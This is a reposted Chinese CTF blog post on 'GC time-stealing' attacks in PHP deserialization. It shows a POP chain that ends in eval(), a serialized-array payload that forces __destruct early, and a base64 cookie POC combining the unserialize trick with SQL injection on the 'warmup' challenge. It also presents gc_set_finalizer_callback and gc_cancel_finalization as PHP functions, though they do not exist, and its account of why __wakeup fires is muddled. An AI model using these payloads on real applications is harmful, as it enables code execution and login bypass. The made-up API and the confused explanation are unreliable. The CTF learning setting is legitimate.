GC时间窃取攻击
2023-3-23 17:33:0 Author: xz.aliyun.com(查看原文) 阅读量:21 收藏

PHP Garbage Collection简称GC,中文翻译PHP垃圾回收,是PHP在5.3版本之后推出的专门针对垃圾回收的机制,在5.3版本之前,因为信息的重复使用导致的内存冗余一直很恶心,所以PHP推出了GC机制以对内存问题进行优化
具体原理请师傅们移步官方文档,在这里就不对赘述了
https://www.php.net/manual/zh/features.gc.collecting-cycles.php

代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class YHQK{
public $Ihavegirlfriend;
public function __construct($Ihavegirlfriend)
{
    $this->Ihavegirlfriend =$Ihavegirlfriend;
    echo $this->Ihavegirlfriend."areyouxianmume"."</br>";
  }
public function __destruct(){
        echo $this->Ihavegirlfriend."nonono"."</br>";
 }
}
new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);
?>

结果如下

可以看出来,进程一的开始和结束都在进程2和进程三之前
原因看最后的三行代码

new YHQK(1);
$a = new YHQK(2);
$b = new YHQK(3);

原理解释

进程2和进程三都有明确的指向变量,准确来说,是对象2和对象3都具有明确的变量指向
但是对象一并没有,对象一只是简单的被实例化,没有指向的变量
所以会被GC回收机制删除掉,导致提前触发destruct魔术方法

这里体现的是GC非常强的强制性,以至于他能控制php的魔术方法。
而众所周知,destruct这个魔术方法是几乎必然要被触发的
所以既然他可以强制这样一个魔法函数提前触发,是不是也可以强制他不被触发

<?php

class YHQK {
    public function __construct() {
        echo "Object created\n";
    }
    public function __destruct() {
        echo "Object destroyed\n";
    }
}
function gc_callback($obj) {
    if ($obj instanceof YHQK) {
        echo "GC callback: YHQK instance found, blocking __destruct\n";
        gc_cancel_finalization($obj);
    }
}
gc_enable();
gc_set_finalizer_callback('gc_callback');
$obj1 = new YHQK();
$obj2 = new YHQK();
$obj2 = null;
unset($obj1);

这里使用了gc_set_finalizer_callback函数来注册一个回调函数,当垃圾回收器发现一个待回收的对象时,就会调用这个回调函数。在回调函数中,如果检测到待回收的对象是MyClass类的实例,就会使用gc_cancel_finalization函数取消其析构函数的执行,从而达到阻止__destruct方法执行的效果。

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class ssz1{
public $bzh;
public function __destruct(){
        echo "hello __destruct";
        echo $this->bzh;
    }
}
class ssz2{
    public $bzh;
    public function __toString()
    {
        echo "hello __toString";
        $this->bzh->flag();
    }
}

class ssz3{
    public $bzh;
    public function getyourgirlfriend()
    {
        echo "hello wowowo()";
        eval($this->bzh);
    }
}
$a=unserialize($_GET['cmd']);
throw new Exception("nonono");
?>

分析

throw new Exception("nonono");
这行代码的作用会阻断destruct的执行
而我们需要运行的pop链是
ssz1::destruct() --> ssz2::toString() --> ssz3::getyourgirlfriend()
这就导致我们从一开始就断了
但是,通过GC机制的不讲道理,我们可以直接引发destruct的执行

<?php

error_reporting(0);
class ssz1{
    public $bzh;
    public function __construct()
    {
        $this->bzh = new ssz2();
    }

}
class ssz2{
    public $bzh;
    public function __construct()
    {
        $this->bzh = new ssz3();
    }
}

class ssz3{
    public $bzh = "phpinfo();";
}

$a = new ssz1();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

在这里,我们直接把ssz1直接架空,造成了GC机制的触发

然而受威胁的不只是destruct方法,还有wakeup方法

一般来说,GC回收机制不会直接触发对象的魔术方法,包括wakeup方法。这是因为,GC回收机制的主要目的是清除不再使用的内存空间,而不是执行对象的方法。

在PHP中,wakeup方法是一种特殊的魔术方法,用于在对象从序列化中被重新构建时进行初始化。当对象被序列化时,它的内部状态会被保存为字符串。当它被反序列化时,它的状态将被恢复,并且wakeup方法将被调用以重新初始化该对象。

由于GC回收机制不会直接触发对象的魔术方法,因此它也不会直接触发wakeup方法。但是,如果一个对象被回收并重新构建,例如在使用共享内存或者进程间通信时,那么它的wakeup方法可能会被调用。这是因为在这种情况下,对象的状态需要重新初始化,就像在反序列化时一样。

实战题目演练
以攻防世界warmup

题目给了三个php文件

conn.php

<?php
include 'flag.php';

 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }

    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }

    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }

    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        foreach ($blacklist as $value) {
            if(strripos($this->table, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }

    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }

}
?>

index.php

<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title>平平无奇的登陆界面</title>
</head>
<style type="text/css">
    body {
        margin: 0;
        padding: 0;
        font-family: sans-serif;
        background: url("static/background.jpg");
        /*背景图片自定义*/
        background-size: cover;
    }

    .box {
        position: absolute;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        width: 400px;
        padding: 40px;
        background: rgba(0, 0, 0, .8);
        box-sizing: border-box;
        box-shadow: 0 15px 25px rgba(0, 0, 0, .5);
        border-radius: 10px;
        /*登录窗口边角圆滑*/
    }

    .box h2 {
        margin: 0 0 30px;
        padding: 0;
        color: #fff;
        text-align: center;
    }

    .box .inputBox {
        position: relative;
    }

    .box .inputBox input {
        width: 100%;
        padding: 10px 0;
        font-size: 16px;
        color: #fff;
        letter-spacing: 1px;
        margin-bottom: 30px;
        /*输入框设置*/
        border: none;
        border-bottom: 1px solid #fff;
        outline: none;
        background: transparent;
    }

    .box .inputBox label {
        position: absolute;
        top: 0;
        left: 0;
        padding: 10px 0;
        font-size: 16px;
        color: #fff;
        pointer-events: none;
        transition: .5s;
    }

    .box .inputBox input:focus~label,
    .box .inputBox input:valid~label {
        top: -18px;
        left: 0;
        color: #03a9f4;
        font-size: 12px;
    }

    .box input[type="submit"] {
        background: transparent;
        border: none;
        outline: none;
        color: #fff;
        background: #03a9f4;
        padding: 10px 20px;
        cursor: pointer;
        border-radius: 5px;
    }
</style>

<body>
    <div class="box">
        <h2>请登录</h2>
        <form method="post" action="index.php">
            <div class="inputBox">
                <input type="text" name="username" required="">
                <label>用户名</label>
            </div>
            <div class="inputBox">
                <input type="password" name="password" required="">
                <label>密码</label>
            </div>
            <input type="submit" name="" value="登录">
        </form>
    </div>
</body>

</html>

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
    $table = 'users';
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $sql = new SQL();
    $sql->connect();
    $sql->table = $table;
    $sql->username = $username;
    $sql->password = $password;
    $sql->check_login();
}


?>

ip.php

<?php
echo $_SERVER['REMOTE_ADDR'];

其实这个题目的本意并不是想要利用GC回收机制,只是确实是碰巧
这里对于GC的利用点在于绕过if判断语句对IP地址的检测,直接触发wakeup方法进行sql注入
但是不得不讲,他这里的sql注入真的水,waf了那么多东西,连个万能密码都能过不去

对于题目的代码就没什么好说的了,就是数据库为users,用户名是admin,就能过去
由于本篇文章主要讲解GC回收时间窃取攻击,就不多赘述了
POC

<?php
class SQL {
}
$sql = new SQL();
$sql->table = 'users';
$sql->username = 'admin';
$sql->password = "' or '1'='1";
$poc = array($sql,1);
echo base64_encode(str_replace('i:1','i:0',serialize($poc)));

在这里,由于sql语句中or的特性,导致传入的值其实是“'”
体现在序列化字符里就是i:1

然后通过

str_replace('i:1','i:0',serialize($poc))

的一步替换,成功将password值置空,或者说是

此时触发了GC回收机制,然而讲password回收之后
对SQL这个对象就需要重新初始化
这就导致wakeup魔术方法被优先于if判断IP地址的语句执行
最终的执行结果是这样的

可以看到
我们没有进行IP的操作,也最终导致了报错
但是我们提前触发了wakeup方法
造成了flag的输出

利用GC回收机制好象是一个很冷门的知识和攻击方法
我在CSDN上并没有找到相应的题目
关于GC时间窃取攻击的博客可以说基本没有
但是这个攻击方式最强大的地方在于他对魔术方法触发时机的控制
可能会导致很多意想不到的漏洞
在本题目中它可以直接导致对IP判断的失效
导致用户可以直接无视一些限制
所以开发者要秉持“不要相信任何用户输入的东西”

最后

最后还是希望师傅们多写一些关于GC时间窃取攻击的博客把
弟弟是真的在网上很难找到东西呜呜呜


文章来源: https://xz.aliyun.com/t/12342
如有侵权请联系:admin#unsafe.sh